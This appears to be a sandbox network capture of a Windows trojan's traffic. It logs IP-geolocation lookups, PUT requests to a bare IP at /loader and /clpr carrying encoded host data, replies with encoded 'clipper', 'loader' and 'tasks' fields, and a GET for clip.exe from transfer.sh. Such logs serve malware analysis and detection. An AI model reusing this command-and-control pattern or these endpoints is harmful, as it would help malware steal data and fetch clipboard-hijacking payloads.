May 14, 2023 04:36:24.647268057 CEST	3372	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 May 2023 02:36:24 GMT Content-Type: application/json Content-Length: 1814 Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iaZFb6hy1rzMHZbmi%2FGQCVJPDlMCOiV%2BJckmjSyr4yjqujCthf5JwCK25%2F9Bz9H44dj3UXRyqRoxht587nycPCgPAZFnR1dnF6oo0UAQRAr4Jl7r2tv2izkQ%2FpIGZv1OPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 7c6fc0dd2fc53a3d-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 7b 22 63 6c 69 70 70 65 72 22 3a 22 59 7a 63 73 4e 57 49 73 5a 44 67 73 5a 47 49 73 59 7a 51 73 59 32 59 73 59 6a 63 73 5a 57 49 73 5a 44 6b 73 59 6a 59 73 59 6a 6b 73 59 6a 6b 73 4f 54 67 73 5a 54 67 73 59 6a 45 73 59 54 67 73 59 54 55 73 4e 6d 51 73 4e 32 49 73 4e 7a 55 73 4e 6a 67 73 4f 57 55 73 4f 47 55 73 4f 44 67 73 59 6a 63 73 5a 47 51 73 5a 57 49 73 5a 47 45 73 5a 47 59 73 5a 47 45 73 59 7a 49 73 4e 54 55 73 4f 44 59 73 4e 54 6b 73 59 54 63 73 4f 47 55 73 4e 7a 51 73 4f 54 41 73 59 6a 51 73 5a 54 41 73 5a 54 6b 73 59 7a 41 73 59 6a 6b 73 4e 7a 55 73 4e 6d 51 73 4f 57 45 73 4e 6d 59 73 4e 7a 41 73 4e 6a 51 73 4e 6d 51 73 4e 6d 51 73 4e 7a 55 73 4e 54 6b 73 5a 44 51 73 5a 54 49 73 59 7a 6b 73 4e 7a 67 73 59 54 49 73 4f 54 63 73 4f 47 51 73 59 32 59 73 59 7a 67 73 4f 44 55 73 59 54 51 73 59 7a 59 73 4f 57 51 73 5a 57 59 73 4f 54 59 73 59 32 51 73 5a 54 51 73 59 6a 55 73 5a 57 55 73 5a 54 51 73 4f 44 63 73 59 6d 45 73 4f 47 49 73 59 57 51 73 5a 54 41 73 59 6d 55 73 59 6a 6b 73 4e 6a 4d 73 59 6d 55 73 59 6d 49 73 59 7a 63 73 59 54 4d 73 5a 47 45 73 5a 54 4d 73 5a 44 41 73 59 6d 45 73 59 32 49 73 5a 57 55 73 5a 47 49 73 5a 54 4d 73 59 7a 6b 73 4f 44 51 73 4f 54 6b 73 4f 44 55 73 59 54 41 73 5a 57 45 73 5a 44 41 73 4f 47 45 73 5a 44 45 73 4e 6a 59 73 59 54 51 73 4f 57 45 73 4e 7a 51 73 59 6a 59 73 59 6a 59 73 4f 57 49 73 4f 57 4d 73 4f 44 63 73 4e 6a 4d 73 4e 54 55 73 59 6d 4d 73 59 6a 45 73 59 6a 59 73 59 54 55 73 5a 44 63 73 59 54 49 73 5a 47 55 73 59 7a 6b 73 5a 47 4d 73 59 54 63 73 59 54 4d 73 5a 44 45 73 5a 44 49 73 4f 44 51 73 59 57 4d 73 59 6a 67 73 59 6a 49 73 5a 44 6b 73 5a 44 4d 73 4f 44 6b 73 5a 44 45 73 59 6d 45 73 5a 47 59 73 5a 6a 49 73 59 7a 4d 73 59 6d 45 73 59 7a 41 73 4f 54 63 73 5a 47 55 73 59 7a 49 73 4e 32 4d 73 4e 6a 4d 73 4e 32 59 73 4e 7a 59 73 59 6a 59 73 4e 6d 45 73 5a 47 55 73 59 54 4d 73 5a 44 49 73 59 6d 51 73 5a 44 67 73 5a 47 51 73 4f 47 51 73 4f 54 6b 73 4f 44 55 73 4e 7a 59 73 4f 54 67 73 59 7a 41 73 59 54 45 73 4f 54 67 73 4f 57 4d 73 4e 7a 51 73 4f 54 41 73 4e 7a 51 73 5a 6a Data Ascii: {"clipper":"YzcsNWIsZDgsZGIsYzQsY2YsYjcsZWIsZDksYjYsYjksYjksOTgsZTgsYjEsYTgsYTUsNmQsN2IsNzUsNjgsOWUsOGUsODgsYjcsZGQsZWIsZGEsZGYsZGEsYzIsNTUsODYsNTksYTcsOGUsNzQsOTAsYjQsZTAsZTksYzAsYjksNzUsNmQsOWEsNmYsNzAsNjQsNmQsNmQsNzUsNTksZDQsZTIsYzksNzgsYTIsOTcsOGQsY2YsYzgsODUsYTQsYzYsOWQsZWYsOTYsY2QsZTQsYjUsZWUsZTQsODcsYmEsOGIsYWQsZTAsYmUsYjksNjMsYmUsYmIsYzcsYTMsZGEsZTMsZDAsYmEsY2IsZWUsZGIsZTMsYzksODQsOTksODUsYTAsZWEsZDAsOGEsZDEsNjYsYTQsOWEsNzQsYjYsYjYsOWIsOWMsODcsNjMsNTUsYmMsYjEsYjYsYTUsZDcsYTIsZGUsYzksZGMsYTcsYTMsZDEsZDIsODQsYWMsYjgsYjIsZDksZDMsODksZDEsYmEsZGYsZjIsYzMsYmEsYzAsOTcsZGUsYzIsN2MsNjMsN2YsNzYsYjYsNmEsZGUsYTMsZDIsYmQsZDgsZGQsOGQsOTksODUsNzYsOTgsYzAsYTEsOTgsOWMsNzQsOTAsNzQsZj
May 14, 2023 04:36:24.647306919 CEST	3373	IN	Data Raw: 41 73 59 6d 49 73 4f 44 67 73 4f 47 45 73 4f 54 59 73 4f 54 51 73 59 57 59 73 4f 47 55 73 59 54 51 73 4e 6d 4d 73 4f 47 55 73 4e 7a 4d 73 4f 47 45 73 4e 7a 6b 73 5a 44 51 73 59 54 51 73 4f 57 51 73 59 6a 6b 73 59 7a 6b 73 59 57 45 73 4f 57 51 73 Data Ascii: AsYmIsODgsOGEsOTYsOTQsYWYsOGUsYTQsNmMsOGUsNzMsOGEsNzksZDQsYTQsOWQsYjksYzksYWEsOWQsOWUsOWMsODgsNjcsOTIsNmQsYWQsYzcsOGQsYTYsODksYWMsYmIsODgsOGEsOGMsOTYsYjMsOGYsODQsNTUsNzcsNjEsNzcsYWYsZGYsZTAsODgsOTAsODgsOTksOTgsOWUsODcsODAsNTMsNmUsYTUsZWEsYzUsN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49699	208.95.112.1	80	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2023 04:34:20.164756060 CEST	104	OUT	GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1 Content-Type: application/json User-Agent: Monkey Host: ip-api.com
May 14, 2023 04:34:20.202805042 CEST	104	IN	HTTP/1.1 200 OK Date: Sun, 14 May 2023 02:34:20 GMT Content-Type: application/json; charset=utf-8 Content-Length: 110 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 63 69 74 79 22 3a 22 48 75 6e 65 6e 62 65 72 67 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 71 75 65 72 79 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 37 22 7d Data Ascii: {"status":"success","countryCode":"CH","city":"Hunenberg","timezone":"Europe/Zurich","query":"102.129.143.47"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49701	185.159.129.168	80	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2023 04:34:41.423587084 CEST	105	OUT	PUT /loader/OWUsODMsODQsOWIsOWYsODIsOGEsOTIsNjgsN2Us HTTP/1.1 Content-Type: application/json User-Agent: Monkey Host: 185.159.129.168 Content-Length: 599 Cache-Control: no-cache Data Raw: 7b 22 64 61 74 61 22 3a 22 59 6a 67 73 59 54 67 73 5a 44 63 73 59 7a 59 73 59 6a 6b 73 5a 54 41 73 4f 47 51 73 5a 47 4d 73 59 6a 63 73 4f 44 63 73 4f 44 67 73 4f 44 55 73 4e 54 6b 73 5a 54 45 73 59 7a 49 73 59 57 4d 73 4f 54 63 73 4f 44 67 73 4f 44 55 73 4f 44 55 73 4e 6d 51 73 59 6a 63 73 59 6a 49 73 4f 57 4d 73 4f 44 6b 73 4f 57 51 73 59 57 51 73 59 54 4d 73 59 6a 4d 73 4f 57 49 73 4f 44 67 73 4e 7a 67 73 4f 44 55 73 4e 32 45 73 59 57 59 73 4f 54 63 73 4f 44 6b 73 59 6a 45 73 4e 7a 67 73 59 6a 41 73 59 6a 4d 73 4f 47 49 73 4f 57 45 73 4f 44 67 73 4e 7a 6b 73 59 57 59 73 4f 44 51 73 4f 44 55 73 4e 6d 4d 73 4f 47 4d 73 4e 6a 63 73 59 6a 67 73 59 54 59 73 5a 47 59 73 5a 47 55 73 5a 47 49 73 59 32 45 73 59 32 51 73 5a 54 6b 73 59 54 67 73 59 54 41 73 4f 57 4d 73 4f 47 45 73 4e 6a 63 73 4f 44 51 73 4e 6d 4d 73 4f 57 4d 73 5a 44 63 73 59 7a 63 73 5a 44 4d 73 59 6a 59 73 59 6a 55 73 5a 54 49 73 59 6a 4d 73 59 7a 59 73 59 6a 63 73 59 57 51 73 59 54 41 73 59 6d 55 73 59 6a 67 73 4f 54 67 73 59 6d 51 73 59 6d 45 73 4f 54 49 73 4e 6a 67 73 59 54 49 73 59 54 41 73 4f 54 51 73 4f 44 63 73 4f 57 45 73 59 6a 41 73 4f 54 6b 73 4f 57 55 73 4f 54 6b 73 4f 44 63 73 4e 6a 45 73 4f 44 41 73 4e 7a 41 73 4f 57 4d 73 59 7a 55 73 59 7a 4d 73 5a 54 4d 73 59 6a 49 73 5a 57 4d 73 5a 57 4d 73 59 32 49 73 4f 54 45 73 4f 54 59 73 4e 32 49 73 59 54 41 73 59 6a 41 73 59 57 4d 73 59 54 63 73 59 7a 51 73 4e 32 55 73 4f 57 51 73 59 57 4d 73 5a 54 41 73 5a 44 4d 73 5a 44 51 73 59 6a 67 73 59 32 51 73 5a 54 6b 73 5a 44 49 73 4f 54 4d 73 5a 44 6b 73 59 6d 51 73 59 54 41 73 59 6a 45 73 59 6a 4d 73 5a 54 55 73 5a 44 41 73 59 6a 6b 73 59 57 49 73 4f 44 6b 73 5a 57 51 73 5a 57 4d 73 59 7a 45 73 59 7a 51 73 59 6a 67 73 4e 6a 49 73 5a 44 51 73 59 7a 49 73 59 6a 55 73 4f 57 4d 73 59 57 55 73 59 54 6b 3d 22 7d Data Ascii: {"data":"YjgsYTgsZDcsYzYsYjksZTAsOGQsZGMsYjcsODcsODgsODUsNTksZTEsYzIsYWMsOTcsODgsODUsODUsNmQsYjcsYjIsOWMsODksOWQsYWQsYTMsYjMsOWIsODgsNzgsODUsN2EsYWYsOTcsODksYjEsNzgsYjAsYjMsOGIsOWEsODgsNzksYWYsODQsODUsNmMsOGMsNjcsYjgsYTYsZGYsZGUsZGIsY2EsY2QsZTksYTgsYTAsOWMsOGEsNjcsODQsNmMsOWMsZDcsYzcsZDMsYjYsYjUsZTIsYjMsYzYsYjcsYWQsYTAsYmUsYjgsOTgsYmQsYmEsOTIsNjgsYTIsYTAsOTQsODcsOWEsYjAsOTksOWUsOTksODcsNjEsODAsNzAsOWMsYzUsYzMsZTMsYjIsZWMsZWMsY2IsOTEsOTYsN2IsYTAsYjAsYWMsYTcsYzQsN2UsOWQsYWMsZTAsZDMsZDQsYjgsY2QsZTksZDIsOTMsZDksYmQsYTAsYjEsYjMsZTUsZDAsYjksYWIsODksZWQsZWMsYzEsYzQsYjgsNjIsZDQsYzIsYjUsOWMsYWUsYTk="}
May 14, 2023 04:34:41.639175892 CEST	107	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 May 2023 02:34:41 GMT Content-Type: application/json Content-Length: 2336 Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=11KcnUxYBIhp%2B%2B8wz04b2aFrvUYrmGjK5UwFqAHODK%2FmIXl%2FEYyBV7QdcTC1QKWoWPP%2F5F38QaQlacAfZ0%2FPe%2Feh731gjlInlZneBWg8ovXN6Mx8A1S7jR%2Bzl0iSZ1ah3A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 7c6fbe593de1d92e-HEL alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 7b 22 6c 6f 61 64 65 72 22 3a 22 59 7a 63 73 4e 57 49 73 5a 44 67 73 5a 47 49 73 59 7a 51 73 59 32 59 73 59 6a 63 73 5a 57 49 73 5a 44 6b 73 59 6a 59 73 59 6a 6b 73 59 6a 6b 73 4f 54 67 73 5a 54 67 73 59 6a 45 73 59 54 67 73 59 54 55 73 4e 6d 51 73 4e 32 49 73 4e 7a 55 73 4e 6a 67 73 4f 57 55 73 4f 47 55 73 4f 44 67 73 59 6a 63 73 5a 47 51 73 5a 57 49 73 5a 47 45 73 5a 47 59 73 5a 47 45 73 59 7a 49 73 4e 54 55 73 4f 44 59 73 4e 54 6b 73 59 54 59 73 4f 47 55 73 4e 7a 51 73 4f 54 41 73 59 6a 59 73 5a 47 51 73 5a 54 59 73 59 6a 4d 73 59 7a 6b 73 59 7a 45 73 4f 54 59 73 5a 54 49 73 4e 6d 59 73 4e 32 51 73 4e 54 4d 73 59 7a 59 73 4e 6a 4d 73 59 7a 6b 73 59 54 41 73 5a 47 59 73 5a 44 4d 73 4f 44 67 73 4f 54 41 73 4f 44 67 73 59 57 51 73 4f 57 49 73 4f 54 6b 73 4f 44 55 73 4e 7a 59 73 59 54 59 73 59 7a 41 73 4f 57 45 73 5a 57 45 73 5a 44 63 73 59 7a 63 73 4f 54 41 73 4e 32 55 73 4f 54 67 73 5a 57 55 73 59 7a 51 73 59 7a 6b 73 59 6a 67 73 59 6a 41 73 59 54 59 73 4e 6d 51 73 4e 6a 55 73 59 54 63 73 59 57 4d 73 59 54 4d 73 59 7a 45 73 4f 57 4d 73 5a 54 59 73 4f 54 41 73 59 54 41 73 4e 7a 59 73 5a 54 4d 73 4f 54 6b 73 5a 47 59 73 5a 44 49 73 5a 47 51 73 59 7a 67 73 4e 54 55 73 4f 44 59 73 4e 54 6b 73 4f 54 67 73 59 54 4d 73 59 7a 49 73 4f 47 55 73 59 54 6b 73 5a 57 45 73 5a 57 4d 73 59 7a 45 73 59 7a 59 73 4e 7a 4d 73 59 54 49 73 5a 47 51 73 59 6a 41 73 59 6a 67 73 59 54 55 73 59 6d 51 73 59 54 59 73 59 6a 6b 73 4e 54 6b 73 4f 57 55 73 4f 47 55 73 4f 44 67 73 59 7a 6b 73 5a 47 4d 73 5a 44 67 73 5a 47 59 73 5a 54 49 73 5a 44 67 73 4e 7a 59 73 4e 6d 51 73 4e 6d 4d 73 4f 57 59 73 5a 44 63 73 59 32 55 73 59 7a 63 73 5a 44 4d 73 59 7a 45 73 5a 6a 55 73 22 2c 22 74 61 73 6b 73 22 3a 22 59 54 63 73 59 6a 51 73 4f 54 67 73 59 32 49 73 59 6a 67 73 4f 54 41 73 4e 32 55 73 4f 54 67 73 59 6a 41 73 4f 44 59 73 4f 47 4d 73 4e 32 59 73 4e 54 4d 73 4f 57 4d 73 59 6a 6b 73 59 57 4d 73 59 54 45 73 59 6a 59 73 4e 6a 4d 73 4f 47 59 73 4e 54 63 73 4f 54 51 73 5a 44 59 73 5a 47 45 73 59 32 45 73 5a 44 67 73 5a 57 45 73 Data Ascii: {"loader":"YzcsNWIsZDgsZGIsYzQsY2YsYjcsZWIsZDksYjYsYjksYjksOTgsZTgsYjEsYTgsYTUsNmQsN2IsNzUsNjgsOWUsOGUsODgsYjcsZGQsZWIsZGEsZGYsZGEsYzIsNTUsODYsNTksYTYsOGUsNzQsOTAsYjYsZGQsZTYsYjMsYzksYzEsOTYsZTIsNmYsN2QsNTMsYzYsNjMsYzksYTAsZGYsZDMsODgsOTAsODgsYWQsOWIsOTksODUsNzYsYTYsYzAsOWEsZWEsZDcsYzcsOTAsN2UsOTgsZWUsYzQsYzksYjgsYjAsYTYsNmQsNjUsYTcsYWMsYTMsYzEsOWMsZTYsOTAsYTAsNzYsZTMsOTksZGYsZDIsZGQsYzgsNTUsODYsNTksOTgsYTMsYzIsOGUsYTksZWEsZWMsYzEsYzYsNzMsYTIsZGQsYjAsYjgsYTUsYmQsYTYsYjksNTksOWUsOGUsODgsYzksZGMsZDgsZGYsZTIsZDgsNzYsNmQsNmMsOWYsZDcsY2UsYzcsZDMsYzEsZjUs","tasks":"YTcsYjQsOTgsY2IsYjgsOTAsN2UsOTgsYjAsODYsOGMsN2YsNTMsOWMsYjksYWMsYTEsYjYsNjMsOGYsNTcsOTQsZDYsZGEsY2EsZDgsZWEs
May 14, 2023 04:34:41.639225006 CEST	108	IN	Data Raw: 59 54 55 73 4f 57 4d 73 4f 54 51 73 59 7a 67 73 59 54 55 73 59 57 51 73 59 54 63 73 5a 54 6b 73 59 7a 67 73 59 6a 6b 73 5a 54 41 73 4e 7a 49 73 5a 57 49 73 5a 54 49 73 4f 44 45 73 59 6d 49 73 59 6a 67 73 59 54 63 73 59 54 6b 73 4e 32 55 73 4f 54 Data Ascii: YTUsOWMsOTQsYzgsYTUsYWQsYTcsZTksYzgsYjksZTAsNzIsZWIsZTIsODEsYmIsYjgsYTcsYTksN2UsOTMsODUsYjUsOTUsYzcsNjYsZDUsZGEsY2YsYzYsOTYsZGMsZTMsZDIsODcsODAsNTMsNmUsOWYsZGYsY2UsYjksY2QsYjQsZDksZWUsYmEsNzYsOGQsNTMsOWMsOGUsYjMsYTMsOGYsYTIsYzksOTgsOTQsOWEsODY
May 14, 2023 04:34:41.639245987 CEST	108	IN	Data Raw: 59 73 4f 54 45 73 4e 7a 51 73 4e 54 55 73 59 6d 59 73 59 57 51 73 5a 44 63 73 5a 44 51 73 59 7a 67 73 4f 54 41 73 4e 32 55 73 4f 54 67 73 59 57 49 73 4e 32 55 73 4e 7a 51 73 4e 7a 55 73 4f 54 51 73 5a 57 59 73 59 7a 45 73 59 6a 49 73 59 54 55 73 Data Ascii: YsOTEsNzQsNTUsYmYsYWQsZDcsZDQsYzgsOTAsN2UsOTgsYWIsN2UsNzQsNzUsOTQsZWYsYzEsYjIsYTUsYzAsYWYsNzcsNzEsOTIsOWUsOTIsNzYsOGEsZTksZDAsZDksYzYsYzksYTEsYWYsYTEsOTgsOWMsNzQsOWUsNzAsOTgsOWMsYmEsYmQsYjcsOTgsOWMsODcsNjMsNjQsNzcsNjEsNzcsYTcsZTcsZGIsZDYsNzgsY

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49702	144.76.136.153	80	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2023 04:34:41.903642893 CEST	109	OUT	GET /get/1PRjTr/clip.exe HTTP/1.1 Content-Type: application/json User-Agent: Monkey Host: transfer.sh
May 14, 2023 04:34:41.926390886 CEST	110	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Sun, 14 May 2023 02:34:41 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://transfer.sh/get/1PRjTr/clip.exe Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49705	208.95.112.1	80	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2023 04:35:23.828614950 CEST	1730	OUT	GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1 Content-Type: application/json User-Agent: Cat Host: ip-api.com
May 14, 2023 04:35:23.866038084 CEST	1730	IN	HTTP/1.1 200 OK Date: Sun, 14 May 2023 02:35:23 GMT Content-Type: application/json; charset=utf-8 Content-Length: 110 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 63 69 74 79 22 3a 22 48 75 6e 65 6e 62 65 72 67 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 71 75 65 72 79 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 37 22 7d Data Ascii: {"status":"success","countryCode":"CH","city":"Hunenberg","timezone":"Europe/Zurich","query":"102.129.143.47"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49707	185.159.129.168	80	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2023 04:35:45.124552965 CEST	1731	OUT	PUT /clpr/OWUsODMsODQsOWIsOWYsODIsOGEsOTIsNjgsN2Us HTTP/1.1 Content-Type: application/json User-Agent: Cat Host: 185.159.129.168 Content-Length: 599 Cache-Control: no-cache Data Raw: 7b 22 64 61 74 61 22 3a 22 59 57 59 73 59 54 55 73 5a 47 59 73 5a 44 49 73 59 7a 51 73 5a 44 4d 73 59 6a 59 73 59 7a 45 73 5a 47 55 73 4f 47 59 73 4f 47 51 73 4f 44 63 73 4e 54 6b 73 5a 54 45 73 59 7a 49 73 59 57 4d 73 4f 54 63 73 4f 44 67 73 4f 44 55 73 4f 44 55 73 4e 6d 51 73 59 6a 63 73 59 6a 49 73 4f 57 4d 73 4f 44 6b 73 4f 57 51 73 59 57 51 73 59 54 4d 73 59 6a 4d 73 4f 57 49 73 4f 44 67 73 4e 7a 67 73 4f 44 55 73 4e 32 45 73 59 57 59 73 4f 54 63 73 4f 44 6b 73 59 6a 45 73 4e 7a 67 73 59 6a 41 73 59 6a 4d 73 4f 47 49 73 4f 57 45 73 4f 44 67 73 4e 7a 6b 73 59 57 59 73 4f 44 51 73 4f 44 55 73 4e 6d 4d 73 4f 47 4d 73 4e 6a 63 73 59 6a 67 73 59 54 59 73 5a 47 59 73 5a 47 55 73 5a 47 49 73 59 32 45 73 59 32 51 73 5a 54 6b 73 59 54 67 73 59 54 41 73 4f 57 4d 73 4f 47 45 73 4e 6a 63 73 4f 44 51 73 4e 6d 4d 73 4f 57 4d 73 5a 44 63 73 59 7a 63 73 5a 44 4d 73 59 6a 59 73 59 6a 55 73 5a 54 49 73 59 6a 4d 73 59 7a 59 73 59 6a 63 73 59 57 51 73 59 54 41 73 59 6d 55 73 59 6a 67 73 4f 54 67 73 59 6d 51 73 59 6d 45 73 4f 54 49 73 4e 6a 67 73 59 54 49 73 59 54 41 73 4f 54 51 73 4f 44 63 73 4f 57 45 73 59 6a 41 73 4f 54 6b 73 4f 57 55 73 4f 54 6b 73 4f 44 63 73 4e 6a 45 73 4f 44 41 73 4e 7a 41 73 4f 57 4d 73 59 7a 55 73 59 7a 4d 73 5a 54 4d 73 59 6a 49 73 5a 57 4d 73 5a 57 4d 73 59 32 49 73 4f 54 45 73 4f 54 59 73 4e 32 49 73 59 54 41 73 59 6a 41 73 59 57 4d 73 59 54 63 73 59 7a 51 73 4e 32 55 73 4f 57 51 73 59 57 4d 73 5a 54 41 73 5a 44 4d 73 5a 44 51 73 59 6a 67 73 59 32 51 73 5a 54 6b 73 5a 44 49 73 4f 54 4d 73 5a 44 6b 73 59 6d 51 73 59 54 41 73 59 6a 45 73 59 6a 4d 73 5a 54 55 73 5a 44 41 73 59 6a 6b 73 59 57 49 73 4f 44 6b 73 5a 57 51 73 5a 57 4d 73 59 7a 45 73 59 7a 51 73 59 6a 67 73 4e 6a 49 73 5a 44 51 73 59 7a 49 73 59 6a 55 73 4f 57 4d 73 59 57 55 73 59 54 6b 3d 22 7d Data Ascii: {"data":"YWYsYTUsZGYsZDIsYzQsZDMsYjYsYzEsZGUsOGYsOGQsODcsNTksZTEsYzIsYWMsOTcsODgsODUsODUsNmQsYjcsYjIsOWMsODksOWQsYWQsYTMsYjMsOWIsODgsNzgsODUsN2EsYWYsOTcsODksYjEsNzgsYjAsYjMsOGIsOWEsODgsNzksYWYsODQsODUsNmMsOGMsNjcsYjgsYTYsZGYsZGUsZGIsY2EsY2QsZTksYTgsYTAsOWMsOGEsNjcsODQsNmMsOWMsZDcsYzcsZDMsYjYsYjUsZTIsYjMsYzYsYjcsYWQsYTAsYmUsYjgsOTgsYmQsYmEsOTIsNjgsYTIsYTAsOTQsODcsOWEsYjAsOTksOWUsOTksODcsNjEsODAsNzAsOWMsYzUsYzMsZTMsYjIsZWMsZWMsY2IsOTEsOTYsN2IsYTAsYjAsYWMsYTcsYzQsN2UsOWQsYWMsZTAsZDMsZDQsYjgsY2QsZTksZDIsOTMsZDksYmQsYTAsYjEsYjMsZTUsZDAsYjksYWIsODksZWQsZWMsYzEsYzQsYjgsNjIsZDQsYzIsYjUsOWMsYWUsYTk="}
May 14, 2023 04:35:45.321013927 CEST	1733	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 May 2023 02:35:45 GMT Content-Type: application/json Content-Length: 1814 Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gWLApO%2FTnwNfFz4cCHeHa%2BqDEC1X5XNjXGtQKBNievP9Use7er4g9vWv0tkMcZ19oZl1KUPgyRVzZMPwURUa%2BrtBDOKUW9hR6%2BRPUMSyN73pZ2K%2B%2BypfFJ%2BgNTcBJXMlSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 7c6fbfe75842d926-HEL alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 7b 22 63 6c 69 70 70 65 72 22 3a 22 59 7a 63 73 4e 57 49 73 5a 44 67 73 5a 47 49 73 59 7a 51 73 59 32 59 73 59 6a 63 73 5a 57 49 73 5a 44 6b 73 59 6a 59 73 59 6a 6b 73 59 6a 6b 73 4f 54 67 73 5a 54 67 73 59 6a 45 73 59 54 67 73 59 54 55 73 4e 6d 51 73 4e 32 49 73 4e 7a 55 73 4e 6a 67 73 4f 57 55 73 4f 47 55 73 4f 44 67 73 59 6a 63 73 5a 47 51 73 5a 57 49 73 5a 47 45 73 5a 47 59 73 5a 47 45 73 59 7a 49 73 4e 54 55 73 4f 44 59 73 4e 54 6b 73 59 54 63 73 4f 47 55 73 4e 7a 51 73 4f 54 41 73 59 6a 51 73 5a 54 41 73 5a 54 6b 73 59 7a 41 73 59 6a 6b 73 4e 7a 55 73 4e 6d 51 73 4f 57 45 73 4e 6d 59 73 4e 7a 41 73 4e 6a 51 73 4e 6d 51 73 4e 6d 51 73 4e 7a 55 73 4e 54 6b 73 5a 44 51 73 5a 54 49 73 59 7a 6b 73 4e 7a 67 73 59 54 49 73 4f 54 63 73 4f 47 51 73 59 32 59 73 59 7a 67 73 4f 44 55 73 59 54 51 73 59 7a 59 73 4f 57 51 73 5a 57 59 73 4f 54 59 73 59 32 51 73 5a 54 51 73 59 6a 55 73 5a 57 55 73 5a 54 51 73 4f 44 63 73 59 6d 45 73 4f 47 49 73 59 57 51 73 5a 54 41 73 59 6d 55 73 59 6a 6b 73 4e 6a 4d 73 59 6d 55 73 59 6d 49 73 59 7a 63 73 59 54 4d 73 5a 47 45 73 5a 54 4d 73 5a 44 41 73 59 6d 45 73 59 32 49 73 5a 57 55 73 5a 47 49 73 5a 54 4d 73 59 7a 6b 73 4f 44 51 73 4f 54 6b 73 4f 44 55 73 59 54 41 73 5a 57 45 73 5a 44 41 73 4f 47 45 73 5a 44 45 73 4e 6a 59 73 59 54 51 73 4f 57 45 73 4e 7a 51 73 59 6a 59 73 59 6a 59 73 4f 57 49 73 4f 57 4d 73 4f 44 63 73 4e 6a 4d 73 4e 54 55 73 59 6d 4d 73 59 6a 45 73 59 6a 59 73 59 54 55 73 5a 44 63 73 59 54 49 73 5a 47 55 73 59 7a 6b 73 5a 47 4d 73 59 54 63 73 59 54 4d 73 5a 44 45 73 5a 44 49 73 4f 44 51 73 59 57 4d 73 59 6a 67 73 59 6a 49 73 5a 44 6b 73 5a 44 4d 73 4f 44 6b 73 5a 44 45 73 59 6d 45 73 5a 47 59 73 5a 6a 49 73 59 7a 4d 73 59 6d 45 73 59 7a 41 73 4f 54 63 73 5a 47 55 73 59 7a 49 73 4e 32 